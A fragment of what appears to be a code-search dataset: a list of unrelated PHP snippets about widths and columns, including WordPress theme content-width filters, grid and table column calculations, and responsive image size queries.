getWidthSQuery()\n {\n return $this->widthSQuery;\n }", "public function fieldWidths();", "static function getColumns()\n {\n }", "function get_post_width( $index ) {\n switch ( $index ) {\n case 1:\n $result = 'col-12';\n break;\n case 2:\n case 3:\n $result = 'col-12 col-sm-6 col-lg-6 flex-column align-self-end';\n break;\n default:\n $result = 'col-12 col-sm-6';\n break;\n }\n\n return $result;\n}", "abstract public function getColumnsCount();", "public function getColumns();", "public function getColumns();", "public function getColumns();", "public function getColumns();", "public function getColumns();", "public function getColumns();", "public function getColumns();", "protected function applyWidth()\n {\n }", "protected function getWidthMQuery()\n {\n return $this->widthMQuery;\n }", "public function getWidth(): int\n {\n $width = getenv('COLUMNS');\n if (false !== $width) {\n return (int) trim($width);\n }\n\n if (null === self::$width) {\n self::initDimensions();\n }\n\n return self::$width ?: 80;\n }", "public function getWidths(array $chars) {}", "public function calculateMediaWidthsAndHeightsDataProvider() {}", "protected function getWidthCQuery()\n {\n return $this->widthCQuery;\n }", "function reactor_get_widget_columns( $sidebar_id ) {\n\t// Default number of columns in Foundation grid is 12\n\t$columns = apply_filters( 'reactor_columns', 12 );\n\t\n\t// get the sidebar widgets\n\t$the_sidebars = wp_get_sidebars_widgets();\n\t\n\t// if sidebar doesn't exist return error\n\tif ( !isset( $the_sidebars[$sidebar_id] ) ) {\n\t\treturn __('Invalid sidebar ID', 'reactor');\n\t}\n\t\n\t/* count number of widgets in the sidebar\n\tand do some simple math to calculate the columns */\n\t$num = count( $the_sidebars[$sidebar_id] );\n\tswitch( $num ) {\n\t\tcase 1 : $num = $columns; break;\n\t\tcase 2 : $num = $columns / 2; break;\n\t\tcase 3 : $num = $columns / 3; break;\n\t\tcase 4 : $num = $columns / 4; break;\n\t\tcase 5 : $num = $columns / 5; break;\n\t\tcase 6 : $num = $columns / 6; break;\n\t\tcase 7 : $num = $columns / 7; break;\n\t\tcase 8 : $num = $columns / 8; break;\n\t}\n\t$num = floor( $num );\n\treturn $num;\n}", "public function width($manipulation_name = '')\n\t{\n\t\treturn $this->row_field('width');\n\t}", "protected function getWidthSqQuery()\n {\n return $this->widthSqQuery;\n }", "public function colWidth($column) {\n\t}", "public function getMissingWidth() {}", "public function getMissingWidth() {}", "public function getMissingWidth() {}", "public function getMissingWidth() {}", "public function getMissingWidth() {}", "protected function calculateMediaWidthsAndHeights() {}", "function module_widths(){\r\n}", "protected function getWidthNQuery()\n {\n return $this->widthNQuery;\n }", "protected function getWidthOQuery()\n {\n return $this->widthOQuery;\n }", "function _l7_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( '_l7_content_width', 640 );\n}", "function calcMessageListColumnWidth($aOrder) {\n /**\n * Width of the displayed columns\n */\n $aWidthTpl = array(\n SQM_COL_CHECK => 1,\n SQM_COL_FROM => 25,\n SQM_COL_DATE => 15,\n SQM_COL_SUBJ => 100,\n SQM_COL_FLAGS => 2,\n SQM_COL_SIZE => 5,\n SQM_COL_PRIO => 1,\n SQM_COL_ATTACHMENT => 1,\n SQM_COL_INT_DATE => 15,\n SQM_COL_TO => 25,\n SQM_COL_CC => 25,\n SQM_COL_BCC => 25\n );\n\n /**\n * Calculate the width of the subject column based on the\n * widths of the other columns\n */\n if (isset($aOrder[SQM_COL_SUBJ])) {\n foreach($aOrder as $iCol) {\n if ($iCol != SQM_COL_SUBJ) {\n $aWidthTpl[SQM_COL_SUBJ] -= $aWidthTpl[$iCol];\n }\n }\n }\n $aWidth = array();\n foreach($aOrder as $iCol) {\n $aWidth[$iCol] = $aWidthTpl[$iCol];\n }\n\n $iCheckTotalWidth = $iTotalWidth = 0;\n foreach($aOrder as $iCol) { $iTotalWidth += $aWidth[$iCol];}\n\n $iTotalWidth = ($iTotalWidth) ? $iTotalWidth : 100; // divide by zero check. shouldn't be needed\n\n // correct the width to 100%\n foreach($aOrder as $iCol) {\n $aWidth[$iCol] = round( (100 / $iTotalWidth) * $aWidth[$iCol] , 0);\n $iCheckTotalWidth += $aWidth[$iCol];\n }\n if ($iCheckTotalWidth > 100) { // correction needed\n $iCol = array_search(max($aWidth),$aWidth);\n $aWidth[$iCol] -= $iCheckTotalWidth-100;\n }\n return $aWidth;\n}", "function uwmadison_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'uwmadison_width', 640 );\n}", "public function fixed_width( $cols ) {\n\t\t$upper_breakpoint_val = end( $this->breakpoints );\n\t\t$upper_breakpoint = key( $this->breakpoints );\n\t\t$col_width = $this->column_widths[ $upper_breakpoint ];\n\t\t$gutters = $this->gutters[ $upper_breakpoint ];\n\t\t$width = ( (int) $cols * (int) $col_width ) + ( ( (int) $cols - 1 ) * (int) $gutters );\n\n\t\treturn $width;\n\t}", "public function buttonWidths();", "public function findAllAvailableDimensions()\n {\n $query = $this->getEntityManager()->createQuery('SELECT c.width, c.height FROM AppBundle\\Entity\\Contentunit c');\n\n return $query->getArrayResult();\n }", "public static function getResolutions(){\n\t\t\t$result = ScreenResolution::select('screen_size_id', DB::raw('CONCAT( width, \"x\", height ) AS resolution') )\n\t\t\t\t\t\t\t\t\t ->where('status', '=', 1)\n\t\t\t\t\t\t\t\t\t ->get();\n\t\t\treturn $result;\n\t\t}", "function gssettings_settings_layout_columns( $columns, $screen ) {\n global $_gssettings_settings_pagehook;\n if ( $screen == $_gssettings_settings_pagehook ) {\n $columns[$_gssettings_settings_pagehook] = 1;\n }\n return $columns;\n }", "public function setColumnsWidth($array) { \n foreach ($array as $elem) {\n if ($elem != \"\")\n $this->columnsWidth[] = \"style=\\\"width:$elem\\\"\";\n else\n $this->columnsWidth[] = \"\";\n }\n }", "public function setup_content_width() {\r\n\t\t\tglobal $content_width;\r\n\r\n\t\t\t/**\r\n\t\t\t * Content Width\r\n\t\t\t */\r\n\t\t\tif ( ! isset( $content_width ) ) {\r\n\r\n\t\t\t\tif ( is_home() || is_post_type_archive( 'post' ) ) {\r\n\t\t\t\t\t$blog_width = astra_get_option( 'blog-width' );\r\n\r\n\t\t\t\t\tif ( 'custom' === $blog_width ) {\r\n\t\t\t\t\t\t$content_width = apply_filters( 'astra_content_width', astra_get_option( 'blog-max-width', 1200 ) );\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\t$content_width = apply_filters( 'astra_content_width', astra_get_option( 'site-content-width', 1200 ) );\r\n\t\t\t\t\t}\r\n\t\t\t\t} elseif ( is_single() ) {\r\n\r\n\t\t\t\t\tif ( 'post' === get_post_type() ) {\r\n\t\t\t\t\t\t$single_post_max = astra_get_option( 'blog-single-width' );\r\n\r\n\t\t\t\t\t\tif ( 'custom' === $single_post_max ) {\r\n\t\t\t\t\t\t\t$content_width = apply_filters( 'astra_content_width', astra_get_option( 'blog-single-max-width', 1200 ) );\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t$content_width = apply_filters( 'astra_content_width', astra_get_option( 'site-content-width', 1200 ) );\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t// For custom post types set the global content width.\r\n\t\t\t\t\t$content_width = apply_filters( 'astra_content_width', astra_get_option( 'site-content-width', 1200 ) );\r\n\t\t\t\t} else {\r\n\t\t\t\t\t$content_width = apply_filters( 'astra_content_width', astra_get_option( 'site-content-width', 1200 ) );\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t}", "function TS_VCSC_Testimonials_AdjustColumnWidths() {\r\n echo '<style type=\"text/css\">\r\n .column-previews {text-align: left; width: 175px !important; overflow: hidden;}\r\n .column-ids {text-align: left; width: 60px !important; overflow: hidden;}\r\n </style>';\r\n }", "function wprt_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'wprt_content_width', 1170 );\n}", "public function getWidthM()\n {\n if (! isset($this->widthM)) {\n $this->widthM = (($nodeList = $this->getDomXPath($this->getDomDocument())->query($this->getWidthMQuery())) && $nodeList->length)\n ? $nodeList->item(0)->value\n : null;\n }\n return $this->widthM;\n }", "public function setColumnsWidth($array) { \r\n foreach ($array as $elem) {\r\n if ($elem != \"\")\r\n $this->columnsWidth[] = \"style=\\\"width:$elem\\\"\";\r\n else\r\n $this->columnsWidth[] = \"\";\r\n }\r\n }", "function liquidchurch_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'liquidchurch_content_width', 840 );\n}", "protected function calculateItemsPerColumn()\r\n {\r\n $numItems = count($this->items);\r\n if ($this->_columns > 0)\r\n return ceil($numItems / $this->_columns);\r\n else\r\n return 1;\r\n\r\n }", "public function getAdvanceWidthMax() {}", "function monalisa_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'monalisa_content_width', 640 );\n}", "public function getColumns()\n\t{\n\t\t\n $result = $this->fetchingData(array(\n 'query' => \"SHOW FULL COLUMNS FROM `$this->table`\"\n ));\n\n return $result;\n\t}", "function SetWidth()\n\t{\n\t\tif (!func_num_args())\n\t\t{\n\t\t\t// No parameters were passed\n\t\t\treturn NULL;\n\t\t}\n\t\t\n\t\t// Store the width values\n\t\t$this->_arrWidths = func_get_args();\n\n\t\treturn $this->_arrWidths;\n\t}", "public function getColumns()\r\n {\r\n }", "function oracy_content_width()\n{\n // This variable is intended to be overruled from themes.\n // Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.\n // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound\n $GLOBALS['content_width'] = apply_filters('oracy_content_width', 640);\n}", "function oursavior_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'oursavior_content_width', 640 );\n}", "public function getGridWidth(): int {\n return $this->width;\n }", "public function getWidthS()\n {\n if (! isset($this->widthS)) {\n $this->widthS = (($nodeList = $this->getDomXPath($this->getDomDocument())->query($this->getWidthSQuery())) && $nodeList->length)\n ? $nodeList->item(0)->value\n : null;\n }\n return $this->widthS;\n }", "function thim_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'thim_content_width', 640 );\n}", "private function getTableColumnWidths(int $_numberOfColumns, array $_columnWidthPercentages = null)\n {\n // Determine the column widths\n $columnWidths = array();\n\n for ($x = 0; $x < $_numberOfColumns; $x++)\n {\n $columnWidthPercentage = 100 / $_numberOfColumns;\n if ($_columnWidthPercentages && $_columnWidthPercentages[$x])\n {\n $columnWidthPercentage = $_columnWidthPercentages[$x];\n }\n\n $columnWidths[$x] = floor(($columnWidthPercentage / 100) * $this->numberOfShellColumns);\n }\n\n $currentColumn = count($columnWidths) - 1;\n while (array_sum($columnWidths) >= $this->numberOfShellColumns - 1)\n {\n $columnWidths[$currentColumn] -= 1;\n if ($currentColumn == count($columnWidths) - 1) $currentColumn = 0;\n }\n\n return $columnWidths;\n }", "function loca_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'loca_content_width', 640 );\n}", "function lambert_content_width() {\n $GLOBALS['content_width'] = apply_filters( 'lambert_content_width', 750 );\n }", "function getFixedColumns() { return $this->_fixedcolumns; }", "function ptoys_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'ptoys_content_width', 840 );\n}", "function inhabitent_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'inhabitent_content_width', 640 );\n}", "public function loop_columns() {\n\t\treturn apply_filters( 'setwood_loop_columns', 3 ); // 3 products per row\n\t}", "public function getWidth()\n {\n if (array_key_exists(\"width\", $this->_propDict)) {\n return $this->_propDict[\"width\"];\n } else {\n return null;\n }\n }", "public function flexible_width( $size ) {\n\t\t$span = $size[0];\n\t\t$cols = $size[1];\n\n\t\t// breakpoint name.\n\t\t$breakpoint = array_search( $cols, $this->columns );\n\t\t$breakpoint_value = $this->breakpoints[ $breakpoint ];\n\n\t\tif ( 'null' === $breakpoint_value ) {\n\t\t\t$min_width = '';\n\t\t} else {\n\t\t\t$min_width = '(min-width: ' . $this->px_to_em( $breakpoint_value ) . ') ';\n\t\t}\n\n\t\t$margin_size = $this->margins[ $breakpoint ];\n\t\t$gutter_size = $this->gutters[ $breakpoint ];\n\n\t\t$width_value = $this->calc( $span, $cols, '100vw', $margin_size, $gutter_size );\n\n\t\t$width = $min_width . $width_value;\n\t\treturn $width;\n\t}", "protected function getWidthQQuery()\n {\n return $this->widthQQuery;\n }", "abstract public function getCols();", "function _s_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( '_s_content_width', 640 );\n}", "protected function width() {\n return $this->width;\n }", "function _tableColumnWidth(&$table){\n//! @return void\n\t$cs = &$table['cells'];\n\t$mw = $this->getStringWidth('W');\n\t$nc = $table['nc'];\n\t$nr = $table['nr'];\n\t$listspan = array();\n\t//Xac dinh do rong cua cac cell va cac cot tuong ung\n\tfor($j = 0 ; $j < $nc ; $j++ ) //columns\n {\n\t\t$wc = &$table['wc'][$j];\n\t\tfor($i = 0 ; $i < $nr ; $i++ ) //rows\n {\n\t\t\tif (isset($cs[$i][$j]) && $cs[$i][$j])\n {\n\t\t\t\t$c = &$cs[$i][$j];\n\t\t\t\t$miw = $mw;\n\t\t\t\tif (isset($c['maxs']) and $c['maxs'] != '') $c['s'] = $c['maxs'];\n\t\t\t\t$c['maw']\t= $c['s'];\n\t\t\t\tif (isset($c['nowrap'])) $miw = $c['maw'];\n\t\t\t\tif (isset($c['w']))\n {\n\t\t\t\t\tif ($miw<$c['w'])\t$c['miw'] = $c['w'];\n\t\t\t\t\tif ($miw>$c['w'])\t$c['miw'] = $c['w']\t = $miw;\n\t\t\t\t\tif (!isset($wc['w'])) $wc['w'] = 1;\n\t\t\t\t}\n else $c['miw'] = $miw;\n\t\t\t\tif ($c['maw'] < $c['miw']) $c['maw'] = $c['miw'];\n\t\t\t\tif (!isset($c['colspan']))\n {\n\t\t\t\t\tif ($wc['miw'] < $c['miw'])\t\t$wc['miw']\t= $c['miw'];\n\t\t\t\t\tif ($wc['maw'] < $c['maw'])\t\t$wc['maw']\t= $c['maw'];\n\t\t\t\t}\n else $listspan[] = array($i,$j);\n //Check if minimum width of the whole column is big enough for a huge word to fit\n $auxtext = implode(\"\",$c['text']);\n $minwidth = $this->WordWrap($auxtext,$wc['miw']-2);// -2 == margin\n if ($minwidth < 0 and (-$minwidth) > $wc['miw']) $wc['miw'] = (-$minwidth) +2; //increase minimum width\n if ($wc['miw'] > $wc['maw']) $wc['maw'] = $wc['miw']; //update maximum width, if needed\n\t\t\t}\n\t\t}//rows\n\t}//columns\n\t//Xac dinh su anh huong cua cac cell colspan len cac cot va nguoc lai\n\t$wc = &$table['wc'];\n\tforeach ($listspan as $span)\n {\n\t\tlist($i,$j) = $span;\n\t\t$c = &$cs[$i][$j];\n\t\t$lc = $j + $c['colspan'];\n\t\tif ($lc > $nc) $lc = $nc;\n\t\t\n\t\t$wis = $wisa = 0;\n\t\t$was = $wasa = 0;\n\t\t$list = array();\n\t\tfor($k=$j;$k<$lc;$k++)\n {\n\t\t\t$wis += $wc[$k]['miw'];\n\t\t\t$was += $wc[$k]['maw'];\n\t\t\tif (!isset($c['w']))\n {\n\t\t\t\t$list[] = $k;\n\t\t\t\t$wisa += $wc[$k]['miw'];\n\t\t\t\t$wasa += $wc[$k]['maw'];\n\t\t\t}\n\t\t}\n\t\tif ($c['miw'] > $wis)\n {\n\t\t\tif (!$wis)\n {//Cac cot chua co kich thuoc => chia deu\n\t\t\t\tfor($k=$j;$k<$lc;$k++) $wc[$k]['miw'] = $c['miw']/$c['colspan'];\n\t\t\t}\n elseif(!count($list))\n {//Khong co cot nao co kich thuoc auto => chia deu phan du cho tat ca\n\t\t\t\t$wi = $c['miw'] - $wis;\n\t\t\t\tfor($k=$j;$k<$lc;$k++) $wc[$k]['miw'] += ($wc[$k]['miw']/$wis)*$wi;\n\t\t\t}\n else\n {//Co mot so cot co kich thuoc auto => chia deu phan du cho cac cot auto\n\t\t\t\t$wi = $c['miw'] - $wis;\n\t\t\t\tforeach ($list as $k)\t$wc[$k]['miw'] += ($wc[$k]['miw']/$wisa)*$wi;\n\t\t\t}\n\t\t}\n\t\tif ($c['maw'] > $was)\n {\n\t\t\tif (!$wis)\n {//Cac cot chua co kich thuoc => chia deu\n\t\t\t\tfor($k=$j;$k<$lc;$k++) $wc[$k]['maw'] = $c['maw']/$c['colspan'];\n\t\t\t}\n elseif (!count($list))\n {\n //Khong co cot nao co kich thuoc auto => chia deu phan du cho tat ca\n\t\t\t\t$wi = $c['maw'] - $was;\n\t\t\t\tfor($k=$j;$k<$lc;$k++) $wc[$k]['maw'] += ($wc[$k]['maw']/$was)*$wi;\n\t\t\t}\n else\n {//Co mot so cot co kich thuoc auto => chia deu phan du cho cac cot auto\n\t\t\t\t$wi = $c['maw'] - $was;\n\t\t\t\tforeach ($list as $k)\t$wc[$k]['maw'] += ($wc[$k]['maw']/$wasa)*$wi;\n\t\t\t}\n\t\t}\n\t}\n}", "final public function get_width()\n {\n return $this->width;\n }", "public function getWidthSq()\n {\n if (! isset($this->widthSq)) {\n $this->widthSq = (($nodeList = $this->getDomXPath($this->getDomDocument())->query($this->getWidthSqQuery())) && $nodeList->length)\n ? $nodeList->item(0)->value\n : null;\n }\n return $this->widthSq;\n }", "protected function _getWidthArray() {}", "function ks_content_width() {\n\t$GLOBALS['content_width'] = apply_filters('ks_content_width', 640);\n}", "function elservice_content_width() {\n\t// This variable is intended to be overruled from themes.\n\t// Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.\n\t// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound\n\t$GLOBALS['content_width'] = apply_filters( 'elservice_content_width', 640 );\n}", "public function getColumns()\n {\n return strlen($this->string);\n }", "function osborne_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'osborne_content_width', 640 );\n}", "public function thumbnail_columns() {\n\t\treturn intval( apply_filters( 'setwood_product_thumbnail_columns', 4 ) );\n\t}", "function branch_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'branch_content_width', 640 );\n}", "function portfolio_web_content_width() {\r\n $GLOBALS['content_width'] = apply_filters( 'portfolio_web_content_width', 640 );\r\n}", "public function getWidth()\n {\n // Support for 'n%', relative to parent\n return $this->parseGlobalValue_h($this->w);\n }", "function glorify_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'glorify_content_width', 640 );\n}", "public function getWidthQ()\n {\n if (! isset($this->widthQ)) {\n $this->widthQ = (($nodeList = $this->getDomXPath($this->getDomDocument())->query($this->getWidthQQuery())) && $nodeList->length)\n ? $nodeList->item(0)->value\n : null;\n }\n return $this->widthQ;\n }", "function col_class($width)\n{\n return 'col-md-' . round($width / 8.333);\n}", "function keenshot_content_width() {\n\t$GLOBALS['content_width'] = apply_filters( 'keenshot_content_width', 780 );\n}", "protected function getWidthTQuery()\n {\n return $this->widthTQuery;\n }", "function _tableColumnWidth(&$table){\r\n//! @return void\r\n\t$cs = &$table['cells'];\r\n\t$mw = $this->getStringWidth('W');\r\n\t$nc = $table['nc'];\r\n\t$nr = $table['nr'];\r\n\t$listspan = array();\r\n\t//Xac dinh do rong cua cac cell va cac cot tuong ung\r\n\tfor ($j=0;$j<$nc;$j++){\r\n\t\t$wc = &$table['wc'][$j];\r\n\t\tfor ($i=0;$i<$nr;$i++){\r\n\t\t\tif (isset($cs[$i][$j]) && $cs[$i][$j]){\r\n\t\t\t\t$c = &$cs[$i][$j];\r\n\t\t\t\t$miw = $mw;\r\n\t\t\t\t$c['maw']\t= $c['s'];\r\n\t\t\t\tif (isset($c['nowrap']))\t\t\t$miw = $c['maw'];\r\n\t\t\t\tif (isset($c['w'])){\r\n\t\t\t\t\tif ($miw<$c['w'])\t$c['miw'] = $c['w'];\r\n\t\t\t\t\tif ($miw>$c['w'])\t$c['miw'] = $c['w']\t = $miw;\r\n\t\t\t\t\tif (!isset($wc['w'])) $wc['w'] = 1;\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$c['miw'] = $miw;\r\n\t\t\t\t}\r\n\t\t\t\tif ($c['maw'] < $c['miw'])\t\t\t$c['maw'] = $c['miw'];\r\n\t\t\t\tif (!isset($c['colspan'])){\r\n\t\t\t\t\tif ($wc['miw'] < $c['miw'])\t\t$wc['miw']\t= $c['miw'];\r\n\t\t\t\t\tif ($wc['maw'] < $c['maw'])\t\t$wc['maw']\t= $c['maw'];\r\n\t\t\t\t}else $listspan[] = array($i,$j);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t//Xac dinh su anh huong cua cac cell colspan len cac cot va nguoc lai\r\n\t$wc = &$table['wc'];\r\n\tforeach ($listspan as $span){\r\n\t\tlist($i,$j) = $span;\r\n\t\t$c = &$cs[$i][$j];\r\n\t\t$lc = $j + $c['colspan'];\r\n\t\tif ($lc > $nc) $lc = $nc;\r\n\t\t\r\n\t\t$wis = $wisa = 0;\r\n\t\t$was = $wasa = 0;\r\n\t\t$list = array();\r\n\t\tfor($k=$j;$k<$lc;$k++){\r\n\t\t\t$wis += $wc[$k]['miw'];\r\n\t\t\t$was += $wc[$k]['maw'];\r\n\t\t\tif (!isset($c['w'])){\r\n\t\t\t\t$list[] = $k;\r\n\t\t\t\t$wisa += $wc[$k]['miw'];\r\n\t\t\t\t$wasa += $wc[$k]['maw'];\r\n\t\t\t}\r\n\t\t}\r\n\t\tif ($c['miw'] > $wis){\r\n\t\t\tif (!$wis){//Cac cot chua co kich thuoc => chia deu\r\n\t\t\t\tfor($k=$j;$k<$lc;$k++) $wc[$k]['miw'] = $c['miw']/$c['colspan'];\r\n\t\t\t}elseif (!count($list)){//Khong co cot nao co kich thuoc auto => chia deu phan du cho tat ca\r\n\t\t\t\t$wi = $c['miw'] - $wis;\r\n\t\t\t\tfor($k=$j;$k<$lc;$k++) \r\n\t\t\t\t\t$wc[$k]['miw'] += ($wc[$k]['miw']/$wis)*$wi;\r\n\t\t\t}else{//Co mot so cot co kich thuoc auto => chia deu phan du cho cac cot auto\r\n\t\t\t\t$wi = $c['miw'] - $wis;\r\n\t\t\t\tforeach ($list as $k)\r\n\t\t\t\t\t$wc[$k]['miw'] += ($wc[$k]['miw']/$wisa)*$wi;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif ($c['maw'] > $was){\r\n\t\t\tif (!$wis){//Cac cot chua co kich thuoc => chia deu\r\n\t\t\t\tfor($k=$j;$k<$lc;$k++) $wc[$k]['maw'] = $c['maw']/$c['colspan'];\r\n\t\t\t}elseif (!count($list)){//Khong co cot nao co kich thuoc auto => chia deu phan du cho tat ca\r\n\t\t\t\t$wi = $c['maw'] - $was;\r\n\t\t\t\tfor($k=$j;$k<$lc;$k++) \r\n\t\t\t\t\t$wc[$k]['maw'] += ($wc[$k]['maw']/$was)*$wi;\r\n\t\t\t}else{//Co mot so cot co kich thuoc auto => chia deu phan du cho cac cot auto\r\n\t\t\t\t$wi = $c['maw'] - $was;\r\n\t\t\t\tforeach ($list as $k)\r\n\t\t\t\t\t$wc[$k]['maw'] += ($wc[$k]['maw']/$wasa)*$wi;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}", "public function getWidth()\n {\n return $this->get('width');\n }", "function pendrell_sizes_media_queries( $queries = array(), $size = '', $width = '', $context = '' ) {\n\n // Exit early if we don't have the required size and width data\n if ( empty( $size ) || !is_string( $size ) || empty( $width ) || !is_int( $width ) )\n return $queries;\n\n // Limit width by the content width; what we're interested in here is the *rendered size* of an image which won't be larger than the container\n global $content_width, $medium_width;\n if ( PENDRELL_COLUMNS === 1 ) {\n $width = min( $width, $content_width );\n } else {\n $width = min( $width, $medium_width );\n }\n\n // Test the context object for various scenarios; this allows the theme to handle the sizes attribute in different ways depending on how images are being used\n $group = ubik_imagery_context( $context, 'group' );\n $responsive = ubik_imagery_context( $context, 'responsive' );\n $static = ubik_imagery_context( $context, 'static' );\n\n // The margins can be filtered; this is mostly in case the inner margin (the space *between* grouped images) is not the same as the page margins\n // Example: your outer page margins are 30px on each side but the spacing between images is 20px\n // Such functionality is superfluous for this theme as margins are all handled in increments of 30px\n $margin = (int) apply_filters( 'pendrell_sizes_margin', PENDRELL_BASELINE );\n $margin_inner = (int) apply_filters( 'pendrell_sizes_margin_inner', PENDRELL_BASELINE );\n\n // Breakpoints replicated from `src/scss/config/_settings.scss`\n $tiny = ceil( $medium_width / 1.5 ); // 390px\n $small = ceil( $medium_width / 1.2 ); // 520px\n $medium = $medium_width + ( $margin * 3 ); // 714px\n $large = $medium_width + ( $margin * 8 ); // 864px\n $full = $content_width + ( $margin * 3 ); // 990px\n\n // Usable space for each breakpoint; for comparison with $width\n $tiny_content = ceil( $medium_width / 1.5 ) - $margin; // 360px\n $small_content = ceil( $medium_width / 1.2 ) - ( $margin * 2 ); // 460px\n $medium_content = $medium_width; // 624px\n $large_content = $medium_width + ( $margin * 5 ); // 774px\n\n // This first chunk of code deals with grouped fractional width images\n // These sizes are defined as fractions of $content_width by `ubik_imagery_add_fractional_sizes()`\n // Note: this only works when images are explicitly grouped (i.e. with the `[group]` shortcode or by passing `group` to the context object when calling `ubik_imagery`); otherwise they are treated like any other image\n if ( $group === true || $responsive === true ) {\n\n // Multiplier for use with fractional width sizes\n $factor = 2; // $group is true so we expect two images in a row by default\n if ( in_array( $size, array( 'third', 'third-square' ) ) )\n $factor = 3;\n if ( in_array( $size, array( 'quarter', 'quarter-square' ) ) )\n $factor = 4;\n\n // We lead with a media query specifying the minimum pixel width at which an image is *fixed* in size (not fluid)\n $queries[] = '(min-width: ' . $full . 'px) ' . $width . 'px';\n\n // A regular grouped gallery; a helper class like `gallery-columns-3` and the corresponding image size (e.g. `third-square`) must be passed to Ubik Imagery\n if ( $responsive === false ) {\n\n // This next media query handles the medium breakpoint\n // By this point all images are rendered smaller than their intrinsic sizes and will be sized based on a percentage width of the viewport minus page margins and margins between images within a group\n // For example: third-width images will take up one third of the viewport width minus one third of the total width of the inner margins (of which there will be two in this case) minus the *fixed* width of the page margins (hence the use of `calc`)\n // Note: these values won't add up to 100 due to the presence of the inner margins\n $viewport = round( ( 1 / $factor - ( ( ( $margin_inner * ( $factor - 1 ) ) / $content_width ) ) / $factor ) * 100, 5 );\n $queries[] = '(min-width: ' . $medium . 'px) calc(' . $viewport . 'vw - ' . round( ( $margin * 3 ) / $factor, 5 ) . 'px)';\n\n // Special case: for non-static galleries the 4 column layout collapses into a 2 column layout below the medium breakpoint\n if ( $static === false && $factor === 4 ) {\n $factor = 2;\n $viewport = round( ( 1 / $factor - ( ( ( $margin_inner * ( $factor - 1 ) ) / $content_width ) ) / $factor ) * 100, 5 );\n }\n\n // The 2 and 3 column layouts only need to have the page margins progressively reduced; everything else remains the same\n $queries[] = '(min-width: ' . $small . 'px) calc(' . $viewport . 'vw - ' . round( ( $margin * 2 ) / $factor, 5 ) . 'px)';\n $queries[] = '(min-width: ' . $tiny . 'px) calc(' . $viewport . 'vw - ' . round( $margin / $factor, 5 ) . 'px)';\n\n // Responsive gallery handling; no need to specify a column count or work with factors here\n // This is a special case that allows for a portfolio-like tiling of images in rows of 3, 2, or 1 image depending on the size of the viewport window\n // Naturally this works best with posts per page equally divisible by all three factors e.g. 6, 12, 18, etc.\n } else {\n\n // Medium: 3x columns, 3x page margins\n // Small: 2x columns, 2x page margins\n // Tiny: 2x columns, 1x page margins\n // Default: 1x columns, 1x page margins; handled by `pendrell_sizes_default()`\n $queries[] = '(min-width: ' . $medium . 'px) calc(' . round( ( 1 / 3 - ( ( ( $margin_inner * 2 ) / $content_width ) ) / 3 ) * 100, 5 ) . 'vw - ' . round( ( $margin * 3 ) / 3, 5 ) . 'px)';\n $queries[] = '(min-width: ' . $small . 'px) calc(' . round( ( 1 / 2 - ( ( $margin_inner / $content_width ) ) / 2 ) * 100, 5 ) . 'vw - ' . round( ( $margin * 2 ) / 2, 5 ) . 'px)';\n $queries[] = '(min-width: ' . $tiny . 'px) calc(' . round( ( 1 / 2 - ( ( $margin_inner / $content_width ) ) / 2 ) * 100, 5 ) . 'vw - ' . round( $margin / 2, 5 ) . 'px)';\n }\n } else {\n\n // As before, the first media query must specify the minimum width at which an image is rendered at the *requested* width\n // Page margins also introduce some ambiguity at the small and medium breakpoints\n // Note: viewport calculations will *not* add up to 100 due to the presence of margins around the content area\n if ( ( $width + ( $margin * 2 ) ) > $medium ) {\n $queries[] = '(min-width: ' . ( $width + ( $margin * 3 ) ) . 'px) ' . $width . 'px';\n $queries[] = '(min-width: ' . $medium . 'px) calc(100vw - ' . ( $margin * 3 ) . 'px)';\n $queries[] = '(min-width: ' . $small . 'px) calc(100vw - ' . ( $margin * 2 ) . 'px)';\n } elseif ( ( $width + $margin ) > $small ) {\n $queries[] = '(min-width: ' . ( $width + ( $margin * 2 ) ) . 'px) ' . $width . 'px';\n $queries[] = '(min-width: ' . $small . 'px) calc(100vw - ' . ( $margin * 2 ) . 'px)';\n } else {\n $queries[] = '(min-width: ' . ( $width + $margin ) . 'px) ' . $width . 'px';\n }\n }\n\n // Return an array of arrays (required by Ubik Imagery)\n return $queries;\n}", "public static function getScreenWidth() : int {}" ]
